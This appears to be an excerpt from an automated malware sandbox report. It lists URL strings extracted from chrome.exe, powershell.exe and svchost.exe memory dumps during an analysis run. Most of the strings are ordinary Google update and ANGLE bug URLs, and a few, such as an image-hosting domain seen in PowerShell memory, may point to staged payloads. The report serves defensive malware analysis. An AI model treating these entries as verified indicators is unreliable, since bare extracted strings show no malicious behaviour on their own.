Source: chrome.exe, 00000009.00000003.2180146053.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4153779214.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2070318918.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2139293795.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2115164294.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000009.00000003.2180146053.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4153779214.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2070318918.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2139293795.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2115164294.0000454400B90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452har=
Source: chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: chrome.exe, 00000009.00000002.4156631900.0000454400DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: chrome.exe, 00000009.00000002.4156631900.0000454400DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: chrome.exe, 00000009.00000002.4156631900.0000454400DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000009.00000002.4149089481.000045440041C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000009.00000002.4149143973.0000454400478000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4146252892.000045440001C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000009.00000003.2180146053.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4153779214.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2070318918.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2139293795.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2115164294.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000009.00000003.2180146053.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4153779214.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2070318918.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2139293795.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2115164294.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000009.00000003.2180146053.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4153779214.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2070318918.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2139293795.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2115164294.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860
Source: chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929
Source: chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/69292
Source: chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6953
Source: chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7279
Source: chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370
Source: chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370M
Source: chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7406
Source: chrome.exe, 00000009.00000003.2180146053.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4153779214.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2070318918.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2139293795.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2115164294.0000454400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7724
Source: chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215
Source: chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: chrome.exe, 00000009.00000002.4148539262.0000454400300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clients2.google.com/time/1/current
Source: chrome.exe, 00000009.00000002.4147142270.00004544000FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dl.google.com/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjhkYWYwZDctOTExOS00MGQ5LTgyNjAt
Source: chrome.exe, 00000009.00000002.4155161625.0000454400C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dl.google.com/release2/chrome_component/V3P1l2hLvLw_7/7_all_sslErrorAssistant.crx3
Source: chrome.exe, 00000009.00000002.4155161625.0000454400C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dl.google.com/release2/chrome_component/V3P1l2hLvLw_7/7_all_sslErrorAssistant.crx37/0/
Source: chrome.exe, 00000009.00000002.4147142270.00004544000FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dl.google.com/release2/chrome_component/acaldksiunzh56452py2db5mnbpa_120.0.6050.0/jamhcnnkihi
Source: chrome.exe, 00000009.00000002.4147142270.00004544000FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dl.google.com/release2/chrome_component/acccxbt6wwsvpxzpob4hojndwkqq_4.10.2830.0/oimompecagna
Source: chrome.exe, 00000009.00000002.4147517323.0000454400190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dl.google.com/release2/chrome_component/adblcnrkt5zdysyip2hllhmi7tpq_20241209.706525355.14/ob
Source: chrome.exe, 00000009.00000002.4156457638.0000454400D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dl.google.com/release2/chrome_component/adrga7eefaxjfdmmgfkiaxjg4yjq_2024.7.12.235938/eeigpng
Source: chrome.exe, 00000009.00000002.4152660899.0000454400A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dl.google.com/release2/chrome_component/ads7ltfl2gw6hxwgakn3sxrkoijq_9.53.0/gcmjkmgdlgnkkcocm
Source: chrome.exe, 00000009.00000002.4147142270.00004544000FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dl.google.com/release2/chrome_component/cpx7rw4q3nwu7emczqf2w6cu7y_2023.3.30.1305/cocncanleaf
Source: chrome.exe, 00000009.00000002.4163956604.000045440241C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dl.google.com/release2/chrome_component/cxmnq7ci5es7kes4fruun62via_2024.12.17.1202/ggkkehgbnf
Source: chrome.exe, 00000009.00000002.4152660899.0000454400A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dl.google.com/release2/chrome_component/eoxvpqsyhqbmcsgpe27edattly_3057/jflookgnkcckhobaglndi
Source: chrome.exe, 00000009.00000002.4152660899.0000454400A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dl.google.com/release2/chrome_component/j2hxfei2occ5siitujtlwgp6xi_3/ojhpjlocmbogdgmfpkhlaaea
Source: chrome.exe, 00000009.00000002.4147723354.00004544001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dns-tunnel-check.googlezip.net/connect
Source: chrome.exe, 00000009.00000002.4147723354.00004544001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dns-tunnel-check.googlezip.net/connectled
Source: chrome.exe, 00000009.00000002.4147142270.00004544000FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjhkYWYwZDctOTExOS00
Source: chrome.exe, 00000009.00000002.4150883569.000045440076C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/AMpg5-cnrANo_2018.8.8.0/2018.8.8.0_win64_
Source: chrome.exe, 00000009.00000002.4147142270.00004544000FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/ac6mhlwypzipnufijdvfyhdgvt4q_67/khaoiebnd
Source: chrome.exe, 00000009.00000002.4156457638.0000454400D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaldksiunzh56452py2db5mnbpa_120.0.6050.0
Source: chrome.exe, 00000009.00000002.4163956604.000045440241C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acccxbt6wwsvpxzpob4hojndwkqq_4.10.2830.0/
Source: chrome.exe, 00000009.00000002.4147142270.00004544000FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/achxmmt7qgmyk2fotgoxxczwpitq_1169/efniojl
Source: chrome.exe, 00000009.00000002.4147330169.000045440014C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adblcnrkt5zdysyip2hllhmi7tpq_20241209.706
Source: chrome.exe, 00000009.00000002.4163956604.000045440241C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4146252892.000045440001C000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000A.00000003.2468140897.000001CE28552000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.4140205218.000001CE28663000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.4136704447.000001CE23902000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.4139205876.000001CE28600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.4139564484.000001CE2862D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.4140811622.000001CE286C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adm5fg7myczym5ugfpmw2lireirq_2024.11.8.0/
Source: chrome.exe, 00000009.00000002.4156457638.0000454400D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adrga7eefaxjfdmmgfkiaxjg4yjq_2024.7.12.23
Source: chrome.exe, 00000009.00000002.4147142270.00004544000FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adxykdjjr6wfc33pz3yeucqn45ya_9411/hfnkpim
Source: chrome.exe, 00000009.00000002.4163956604.000045440241C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/cpx7rw4q3nwu7emczqf2w6cu7y_2023.3.30.1305
Source: chrome.exe, 00000009.00000002.4163956604.000045440241C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/cxmnq7ci5es7kes4fruun62via_2024.12.17.120
Source: chrome.exe, 00000009.00000002.4147142270.00004544000FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/eoxvpqsyhqbmcsgpe27edattly_3057/jflookgnk
Source: chrome.exe, 00000009.00000002.4163956604.000045440241C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/fw4ggtylvtq6i65ti33m4vqijm_2024.12.14.1/k
Source: chrome.exe, 00000009.00000002.4157251066.0000454400E50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/j2hxfei2occ5siitujtlwgp6xi_3/ojhpjlocmbog
Source: chrome.exe, 00000009.00000002.4146509813.0000454400083000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: powershell.exe, 00000003.00000002.1773602894.000000000916C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://i.ibb.co
Source: powershell.exe, 00000003.00000002.1762457474.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1806579543.0000000005399000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1905649273.0000000005FFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000007.00000002.1788756794.0000000004486000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1810271687.0000000006D92000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1878844290.00000000033A6000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1886945626.00000000050E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: chrome.exe, 00000009.00000002.4146447600.000045440006C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4149760334.00004544005D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4153565249.0000454400ADC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4157297710.0000454400E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://redirector.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvNzI0QUFXNV9zT2RvdUw
Source: chrome.exe, 00000009.00000002.4147142270.00004544000FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://redirector.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjhkYWYwZDctOTExOS0
Source: chrome.exe, 00000009.00000002.4150883569.000045440076C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://redirector.gvt1.com/edgedl/release2/chrome_component/AMpg5-cnrANo_2018.8.8.0/2018.8.8.0_win64
Source: powershell.exe, 00000003.00000002.1759728113.00000000043C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1886945626.00000000050E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000003.00000002.1759728113.0000000004271000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1735899233.00000221C521C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1788756794.0000000004331000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1886945626.0000000004F91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2692236412.00000242A4CC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.1759728113.00000000043C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1886945626.00000000050E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: chrome.exe, 00000009.00000002.4152180003.00004544009B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/
Source: chrome.exe, 00000009.00000002.4152180003.00004544009B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/a
Source: powershell.exe, 00000003.00000002.1773602894.0000000009129000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://upload.wikimedia.org
Source: powershell.exe, 00000007.00000002.1788756794.0000000004486000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1810271687.0000000006D92000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1878844290.00000000033A6000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1886945626.00000000050E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: chrome.exe, 00000009.00000002.4147142270.00004544000FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/dl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjhkYWYwZDctOTExOS00MGQ5LTgy
Source: chrome.exe, 00000009.00000002.4155782211.0000454400CD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/dl/release2/chrome_component/AMpg5-cnrANo_2018.8.8.0/2018.8.8.0_win64_win_thir
Source: chrome.exe, 00000009.00000002.4155161625.0000454400C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/dl/release2/chrome_component/V3P1l2hLvLw_7/7_all_sslErrorAssistant.crx3
Source: chrome.exe, 00000009.00000002.4155161625.0000454400C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/dl/release2/chrome_component/V3P1l2hLvLw_7/7_all_sslErrorAssistant.crx3ED
Source: chrome.exe, 00000009.00000002.4152660899.0000454400A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/dl/release2/chrome_component/ac6mhlwypzipnufijdvfyhdgvt4q_67/khaoiebndkojlmppe
Source: chrome.exe, 00000009.00000002.4147142270.00004544000FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/dl/release2/chrome_component/acaldksiunzh56452py2db5mnbpa_120.0.6050.0/jamhcnn
Source: chrome.exe, 00000009.00000002.4147142270.00004544000FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/dl/release2/chrome_component/acccxbt6wwsvpxzpob4hojndwkqq_4.10.2830.0/oimompec
Source: chrome.exe, 00000009.00000002.4147142270.00004544000FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/dl/release2/chrome_component/achxmmt7qgmyk2fotgoxxczwpitq_1169/efniojlnjndmcbi
Source: chrome.exe, 00000009.00000002.4147517323.0000454400190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/dl/release2/chrome_component/adblcnrkt5zdysyip2hllhmi7tpq_20241209.706525355.1
Source: chrome.exe, 00000009.00000002.4147142270.00004544000FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/dl/release2/chrome_component/adm5fg7myczym5ugfpmw2lireirq_2024.11.8.0/gonpemdg
Source: chrome.exe, 00000009.00000002.4163956604.000045440241C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/dl/release2/chrome_component/adrga7eefaxjfdmmgfkiaxjg4yjq_2024.7.12.235938/eei
Source: chrome.exe, 00000009.00000002.4147142270.00004544000FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/dl/release2/chrome_component/adxykdjjr6wfc33pz3yeucqn45ya_9411/hfnkpimlhhgiead
Source: chrome.exe, 00000009.00000002.4163956604.000045440241C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/dl/release2/chrome_component/cpx7rw4q3nwu7emczqf2w6cu7y_2023.3.30.1305/cocncan
Source: chrome.exe, 00000009.00000002.4152660899.0000454400A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/dl/release2/chrome_component/eoxvpqsyhqbmcsgpe27edattly_3057/jflookgnkcckhobag
Source: chrome.exe, 00000009.00000002.4152660899.0000454400A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/dl/release2/chrome_component/j2hxfei2occ5siitujtlwgp6xi_3/ojhpjlocmbogdgmfpkhl
Source: chrome.exe, 00000009.00000002.4146447600.000045440006C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4149622841.0000454400594000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4150263647.00004544006BE000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4152474216.00004544009EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4147379748.000045440015C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://1mp3.org/
Source: chrome.exe, 00000009.00000003.2582039999.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1986377459.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2365428270.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431675830.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1846552649.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2264567148.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2256163346.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2070729831.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2450057532.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1828574602.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2366576736.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1890362176.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2231263427.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4155212155.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2235752970.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1820630621.0000454400C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 00000009.00000002.4147818165.000045440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/
Source: chrome.exe, 00000009.00000002.4146632234.000045440008F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/v1/accountcapabilities:batchGet
Source: chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com
